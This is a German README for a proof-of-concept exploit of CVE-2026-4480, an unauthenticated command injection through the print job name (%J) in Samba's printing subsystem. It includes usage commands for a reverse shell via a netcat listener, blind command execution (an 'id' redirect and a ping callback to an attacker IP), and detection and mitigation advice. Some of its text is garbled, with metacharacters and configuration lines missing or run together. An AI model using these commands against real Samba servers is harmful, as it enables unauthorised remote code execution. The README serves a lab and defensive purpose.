
Proof-of-Concept-Exploit für CVE-2026-4480, eine nicht authentifizierte Remote-Befehlsausführung im Druck-Subsystem von Samba über %J-Injection. Enthält Reverse-Shell- und Blind-Befehlsausführungsmodi mit Erkennungs- und Minderungsanleitung.
%J) Injection PoCWichtig — Lesen Sie dies zuerst:
Dieses Repository undexploit.pywerden nur für Bildungs- und Forschungszwecke bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme, Netzwerke oder Dienste, für die Sie keine ausdrückliche schriftliche Genehmigung haben. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch. Durch die Nutzung dieses Codes stimmen Sie zu, die geltenden Gesetze und institutionellen Richtlinien einzuhalten.
Nicht authentifizierte entfernte Befehlsausführung im Samba-Drucksubsystem. Wenn ein Druckauftrag das Spooling beendet, führt Samba den konfigurierten print command über system() aus, wobei %s (Spool-Dateipfad) und %J (vom Client bereitgestellter Auftragsname) in den String eingesetzt werden. Vor dem Fix wurde der Auftragsname mit der einzigen Transformation ' → und nichts weiterem übergeben, sodass , , , Leerzeichen, , und Backticks alle die Shell erreichen. Ein , das referenziert, ist daher eine Shell-Injection-Senke, und da Gäste Druckaufträge einreichen können, ist das Problem .
_|;&<>print command%Jprint command ausführen, der %J referenziert (printing = sysv-Stil). printing = cups / iprint gehen über die CUPS-API und sind nicht betroffen.sudo apt install python3-samba
print command %J referenziert.python3 exploit.py <rhost> <lhost> <lport> [-P PRINTER] [-c CMD]
| Argument / Option | Bedeutung |
|---|---|
rhost | Ziel-Samba-Host / IP |
lhost | Ihre Listener-IP |
lport | Ihr Listener-Port |
-P, --printer | Name der Gäste-Druckerfreigabe (Standard: HP-Reception) |
-c, --cmd | Führe einen beliebigen Befehl statt einer Reverse-Shell aus |
# terminal 1: listener
nc -lvnp 4444
# terminal 2: fire the exploit
python3 exploit.py 10.129.244.177 10.10.14.100 4444
Sie sollten eine Shell als Druckdienstkonto (z.B. nobody) erhalten.
python3 exploit.py 10.129.244.177 x x -c 'id > /dev/shm/o 2>&1'
Da die Ausführung blind erfolgt (der Befehl wird serverseitig ausgeführt und liefert nichts auf dem RPC-Kanal zurück), bestätigen Sie ihn zuerst out-of-band, z.B. einen ICMP-Callback, den Sie mit tcpdump -ni tun0 icmp beobachten:
python3 exploit.py 10.129.244.177 x x -c 'ping -c 3 10.10.14.100'
print command = /usr/local/bin/print-helper %s '%J', entfernen Sie %J, oder wechseln Sie zu printing = cups.smbd gestarteten Shells (sh/bash/nc/python/curl) und dokumentieren Sie Namen, die Shell-Metazeichen enthalten.Ich habe eine Box auf HackTheBox namens Abducted erstellt, um die Schwachstelle zu demonstrieren und Ihnen ein praktisches Beispiel zu geben, wie Angreifer dies in einer falsch konfigurierten Umgebung ausnutzen könnten.